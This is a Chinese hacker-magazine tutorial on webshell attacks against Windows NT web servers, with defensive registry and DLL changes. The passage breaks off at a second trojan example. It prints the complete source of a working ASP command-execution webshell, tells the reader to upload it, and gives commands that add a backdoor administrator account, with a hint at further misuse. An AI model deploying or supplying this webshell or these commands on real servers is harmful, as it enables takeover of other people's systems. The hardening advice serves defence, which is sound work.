文章被发表在黑客防线第5期,是几个人合写的哟
惨的是竟然没有写我的名字,唯一想说的一句是fuck 黑防!
WinNT系统下权限设置与黑客的较量
前言:在各种网络上的服务器上,只要黑客能成功入侵不同配置的服务器,都会得到一定的权限,比较GUEST或SYSTEM权限等,但这些权限都是由于服务器管理员的配置不当或缺少管理经验而让黑客成功入侵的,只要我们给服务器上各种危险的组件及命令都加上一定的权限设置,那么就会得到最大的安全。下面我们来介绍一下NT系统下权限与黑客的较量,当然的的NT服务器不能是FAT32分区的,你的NT服务器必须采用NTFS分区,因为只有NTFS才能给你的服务器重要文件设置权限,如果是FAT32分区的,那就没有安全性可言了,以下介绍一些入侵防范实例大家就会知道设置权限的重要性了。
随着网络的高速发展,现在朋友们都装上了宽带网,做虚拟主机生意的提供商生意当然也越来越好了,做网站的朋友也比往年多了起来,但是现在的黑客们却喜欢上了在虚拟主机提供商的空间里放上一个webshell,以取得服务器的管理权,这是让服务器的管理员最头痛的事。黑客们通过各种 webshell 可以在服务器里运行CMD命令,还可以复制、删除文件,在线编辑文件,建立超级用户等。Webshell(也叫网页木马)在这里分很多种,如ASP、CGI、PHP、JSP的webshell都有,现在还流行 SQL 注入的xp_cmdshell等,都属于webshell中的其中一种,现在我们首先介绍的是黑客们称作为网页木马的各种webshell的攻击与防范方法。同时用这最简单的安全设置方法还能防范网络上的大部份溢出攻击等,如著名的 IDQ、IDA、WEBDAV 及RPC溢出……,都能让黑客取得你服务器的管理权,但是你通过这小小的安全配置,黑客们的溢出攻击你就不用再怕了。就算不打补丁也是安全的,相信吗?不信?请看下文!
攻击与防范方法其实都是非常的简单,所以一般熟悉网页制作、还懂点CMD命令的朋友们都能学会的,在我看来没有太大的技术性可言,难度等级(初级)就是人人都可以学会的啦,但这份教程却能作为各WEB网站服务器管理员不管你是有多年的服务器管理经验还是新手,这份教程都能作为你最为有效防范WEBSHELL攻击及溢出攻击的方法参考资料。
一、基本ASP的WEBSHELL攻击与防范
以下我们以实例讲解ASP的三种Webshell攻击与防范方法(并提供webshell源代码):
例一、种使用脚本绑定CMD命令:
这是一种使用脚本绑定CMD命令的攻击方法,其实asp的webshell并不止这一种,后面还会有介绍另外两种的 webshell攻击与防范方法。只要黑客在你的服务器上放上了这种 webshell ,你又没有适当的防范方法,那么你的服务器就会惨遭毒手,成了黑客们的肉鸡了。一般遭此毒手的服务器都是虚拟主机提供商的服务器,也有属于个人或公司的服务器,黑客是怎么样把这个 webshell传到你的服务器的呢?如果是传到虚拟主机提供商的WEB空间的,一般都是虚拟主机提供商的客户自己传的^_^,因为虚拟上机提供商的客户本身就拥有上传软件的权限,并拥有 http 服务的浏览地址。客户使用这种 webshell目的一般只想看看自己租用的服务器空间上存放了些什么文件或通过这个webshell 盗窃服务器上的某些重要资料。个人或公司的服务器,黑客怎么把这个 webshell传到服务器空间上的呢?呵呵,一般是通过服务器上某个如论坛、下载系统的脚本漏洞,通过这些漏洞取得在WWW上80端口上传文件的权限或通过某些漏洞使用TFTP服务把这个webshell传到你的服务器上的,由于我们这里只讲解这些 webshell是怎么样攻击的,所以并不提及到怎么样才能把这个 webshell传到服务器的空间上,本文假设你已经把这个 webshell传到了服务器空间上,你并取得了 http 的浏览地址,只要服务器是支持 asp 的,你就能使用这个 webshell取得服务器系统的管理权了,这种后门非常隐蔽,就算你重装了N次系统,打了N的的补丁也没效,因为这个漏洞是没有补丁的^_^,只要这个 webshell 还存在,黑客找到这个 webshell的WWW浏览地址,你的服务器一样会变成黑客的肉鸡,所以危害性极大。
如下图所示,我把一个文件名叫CMD.ASP的ASP脚本WEBSHELL文件传到了一台服务器IP为192.168.0.18的服务器上,把这个文件放到了FTP根目录里的webshell文件夹下,我们就能使用http://192.168.0.18/webshell/cmd.asp 的地址访问这个 webshell 了,我们可以在那个空白的表单里输入所有的CMD命令,如dir c:\ 等命令,如果你想在这台服务器里建立一个超用户,可以输入两行命令,第一行输入 net user netpk hacker /add 然后点击执行CMD命令按钮,就建立了一个普通用户netpk ,再输入第二行命令, net localgroup administrators netpk /add 这样就把刚才建立的普通用户 netpk 加入了超级用户管理级 administrators 组了,通过这些,我们可以确定这个webshell 有执行所有的CMD命令权限,你想干什么,不用我教你了吧,呵呵^_^。
下面附上这个 cmd.asp 脚本的源代码:
执行命令:<br>
<%
Dim oScript
Dim oScriptnet
Dim oFileSys, oFile
Dim szCMD,szTempFile
szCMD=request.form(".cmd")
''从输入框得到cmd
On Error Resume Next
''如果出现错误,直接跳过,防止弹出错误窗口
set oScript=server.createobject("WSCRIPT.SHELL")
''建立shell(wshshell)对象
set oFileSys=server.createobject("scripting.filesystemobject")
szTempFile="C:\"& oFileSys.GetTempName()
''GetTempName()是fso建立临时文件的一种方法
Call oScript.Run ("cmd.exe /c "& szCMD &">" &szTempFile,0,true)
''调用wshshell函数的run来执行命令,并把它重定向到临时文件夹中
set oFile=oFileSys.OpenTextFile(szTempFile,1,False,0)
''以读的方式打开临时文件
%>
<HTML>
<body bgcolor="#C0C0C0" text="#000000">
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行CMD命令" class=input>
</FORM>
<PRE>
<%
On Error Resume Next
response.write server.HTMLEncode(oFile.ReadAll)
''输出编码后的文件内容
oFile.close
''关闭文件
call oFileSys.DeleteFile(szTempFile,True)
''防止被抓住所以删除文件
%>
</body>
</html>
你只要把上面的代码写在记事本里,保存扩展名为 .ASP ,再传到你的虚拟主机空间就可以运行了。这种绑定CMD命令的脚本攻击防范方法有好几种,其实你如果要防范这种攻击,你只要把ASP中的FSO(Scripting.FileSystemObject)功能删除就行了,删除FSO权限方法就是在CMD的命令提示符下输入以下命令:
Regsvr32 /u c:\winnt\system32\scrrun.dll
注意:在实际操作的时候要更改成为你本地系统安装目录的实际路径,但是使用这种方法删除也太绝了一点,如果以后我们想使用FSO权限,那就用不了啦。所以建议不要使用这种方法删除FSO权限,
但是,显而易见,如果这样做,那么包括站点系统管理员在内的任何人都将不可以使用FileSystemObject对象了,这其实并不是站点管理人员想要得到的结果,毕竟我们使用这个对象可以实现方便的在线站台管理,如果连系统管理员都没法使用了,那可就得不偿失了,但是不禁止这个危险的对象又会给自己的站点带来安全漏洞。那么有没有两全其美的方法呢?有!具体方法如下:
我们可以做到禁止其他人非法使用FileSystemObject对象,但是我们自己仍然可以使用这个对象.
方法如下:
查找注册表中
HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值
将其更改成为你想要的字符串(右键-->"重命名"),比如更改成为
HKEY_CLASSES_ROOT\Scripting.FileSystemObject2
这样,在ASP就必须这样引用这个对象了:
Set fso = CreateObject("Scripting.FileSystemObjectnetpk")
而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。
呵呵,只要你不告诉别人这个更改过的对象名称,其他人是无法使用FileSystemObject对象的。这样,作为站点管理者我们就杜绝了他人非法使用FileSystemObject对象,而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了!
但这样做还是有一定的危害性的,因为这样配置的方法并不是十分的完善。只是简单地解决了FSO调用CMD命令和一些简单的ASP木马脚本,要知道WEBSHELL并不是只有ASP的一种,如CGI、PHP、JSP等都存在这样的WEBSHELL,如果你的服务器同时配置了支持CGI、PHP、JSP等,那可就惨了,因为如CGI等这些WEBSHELL是不须要FSO支持就能实现WEBSHELL的。所以你还得向下看,以下还有一些值得大家注意的WEBSHELL。
其实还有更简单实用的方法能防范这种使用ASP脚本绑定CMD命令的webshell,配置防范方法只须要30秒就行了,防范方法等介绍完了CGI、PHP、JSP等WEBSHELL再说,因为只要一种防范方法,就能防止这些脚本攻击及溢出攻击等,在最后我们介绍的防范方法对我们提及到的所有能绑定CMD的WEBSHELL都是能绝对能有效防范的。
例二、使用FSO权限对文件管理的WEBSHELL攻击与防范方法
以下我们介绍的是海阳顶端asp木马,这种WEBSHELL能通过网页在线更改、编辑、删除、移动、上传、下载服务器上的任意文件,只要黑客给你的服务器传上这个ASP木马,你的服务器上的所有文件就会控制在黑客的手上,黑客能在你的服务器干什么?就是上面提及到的。更改、删除、移动……
如下图所示: